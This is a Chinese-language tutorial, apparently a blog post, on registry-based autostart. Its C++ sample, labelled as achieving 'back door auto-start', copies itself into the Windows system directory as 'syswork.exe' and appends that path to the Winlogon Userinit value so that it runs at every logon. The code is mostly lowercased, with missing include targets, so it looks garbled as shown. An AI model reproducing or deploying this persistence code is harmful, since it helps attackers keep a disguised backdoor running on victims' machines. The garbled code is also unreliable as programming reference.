简介
添加注册表项是实现文件自启动的经典方法之一,但因为操作注册表项是一个敏感操作,被报毒可能性较大,但即便如此,这个方法还是值得一学的,因为后期大部分都涉及到注册表操作。
最常使用到的注册表项有两项:
1.hkey_current_user\software\microsoft\windowsnt\currentversion\windows 将“load”键下的键值改为自启动目标文件路径,但缺点在于只能支持一个程序
2.hkey_local_machine\software\microsoft\windowsnt\currentversion\winlogon 将“userinit”键下的值加上自启动目标文件路径,但是要注意虽然支持多文件自启动,但每个文件路径之间切记要用逗号隔开!
c++代码样例
//////////////////////////////////////////////////////////////
//
// filename : regautorundemo.cpp
// creator : peterz1997
// date : 2018-5-1 21:34
// comment : add registry key(s) to achieve the back door auto-start
//
//////////////////////////////////////////////////////////////
#include
#include
#include
#include
#include
using namespace std;
const unsigned int max_count = 255; /// max string length
char szreginfo[max_count] = "\0";
/**
* @brief compare two string
* @param str1 string-1
* @param str2 string-2
* @return boollean value
*/
bool comparetwostring(lpctstr str1, lpcstr str2)
{
char sztempstr01[max_count] = "\0";
char sztempstr02[max_count] = "\0";
if (strlen(str1) < strlen(str2))
{
strcpy_s(sztempstr02, sizeof(sztempstr01), str1);
strcpy_s(sztempstr01, sizeof(sztempstr02), str2);
}
else
{
strcpy_s(sztempstr01, sizeof(sztempstr01), str1);
strcpy_s(sztempstr02, sizeof(sztempstr02), str2);
}
for (int i = 0; i < strlen(sztempstr01) - strlen(sztempstr02); i++)
{
for (int j = 0; j < strlen(sztempstr02); j++)
{
if (*(sztempstr01 + j + i) != *(sztempstr02 + j))
{
break;
}
if (*(sztempstr01 + j + i) == *(sztempstr02 + j) && j == strlen(sztempstr02) - 1)
{
return true;
}
}
}
return false;
}
/**
* @brief add a string key to registry
* @param hroot root key
* @param szsubkey sub key after the root key
* @param szvaluename key name
* @param szdata key data
* @return boollean value
*/
bool setstringtoreg(hkey hroot, lpctstr szsubkey, lpctstr szvaluename, lpctstr szdata)
{
hkey hkey;
long lres = regcreatekeyex(hroot, szsubkey, 0, null, reg_option_non_volatile, key_all_access, null, &hkey, null);
if (lres != error_success)
{
regclosekey(hkey);
regclosekey(hroot);
return false;
}
lres = regsetvalueex(hkey, szvaluename, 0, reg_sz, (byte*)szdata, strlen(szdata));
if (lres != error_success)
{
regclosekey(hkey);
regclosekey(hroot);
return false;
}
regclosekey(hkey);
regclosekey(hroot);
return true;
}
/**
* @brief get key info
* @param hroot root key
* @param szsubkey sub key after the root key
* @param szvaluename key name
* @return boollean value
*/
bool getreginfo(hkey hroot, lpctstr szsubkey, lpctstr szvaluename)
{
hkey hkey;
dword dwtype = reg_sz;
dword dwlendata = strlen(szreginfo);
long lres = regcreatekeyex(hroot, szsubkey, 0, null, reg_option_non_volatile, key_all_access, null, &hkey, null);
if (lres != error_success)
{
regclosekey(hkey);
regclosekey(hroot);
return false;
}
regqueryvalueex(hkey, szvaluename, 0, &dwtype, null, &dwlendata);
lres = regqueryvalueex(hkey, szvaluename, 0, &dwtype, (lpbyte)szreginfo, &dwlendata);
if (lres != error_success)
{
regclosekey(hkey);
regclosekey(hroot);
return false;
}
regclosekey(hkey);
regclosekey(hroot);
return true;
}
/**
* @brief main function
*/
int winapi winmain(_in_ hinstance hinstance, _in_opt_ hinstance hprevinstance, _in_ lpstr lpcmdline, _in_ int nshowcmd)
{
char szsystempath[max_count] = "\0";
char szfilepath[max_count] = "\0";
char szregvalue[max_count] = "\0";
char sztotalstring[max_count] = "\0";
if (getreginfo(hkey_local_machine, "software\\microsoft\\windows nt\\currentversion\\winlogon", "userinit")) strcat_s(szregvalue, sizeof(szregvalue), szreginfo);
else return 0;
for (int i = 1;;)
{
if (szregvalue[strlen(szregvalue) - i] == ' ')
{
szregvalue[strlen(szregvalue) - i] = '\0';
}
else
{
break;
}
}
if (szregvalue[strlen(szregvalue) - 1] != ',') strcat_s(szregvalue, sizeof(szregvalue), ",");
strcat_s(sztotalstring, sizeof(sztotalstring), szregvalue);
if (!comparetwostring(sztotalstring, "c:\\windows\\syswow64\\syswork.exe"))
{
strcat_s(sztotalstring, sizeof(sztotalstring), "c:\\windows\\syswow64\\");
strcat_s(sztotalstring, sizeof(sztotalstring), "syswork.exe,");
}
getsystemdirectory(szsystempath, sizeof(szsystempath));
strcat_s(szsystempath, sizeof(szsystempath), "\\syswork.exe");
if (!comparetwostring(szregvalue, szsystempath))
{
strcat_s(sztotalstring, sizeof(sztotalstring), szsystempath);
strcat_s(sztotalstring, sizeof(sztotalstring), ",");
}
getmodulefilename(null, szfilepath, sizeof(szfilepath));
if (strcmp(szfilepath, szsystempath) && strcmp(szfilepath, "c:\\windows\\syswow64\\syswork.exe"))
{
if (!copyfile(szfilepath, szsystempath, true)) return 0;
if (!setstringtoreg(hkey_local_machine, "software\\microsoft\\windows nt\\currentversion\\winlogon", "userinit", sztotalstring)) return 0;
}
messagebox(null, "helloworld", "tips", mb_ok);
exitprocess(0);
return 0;
}
小小鸟一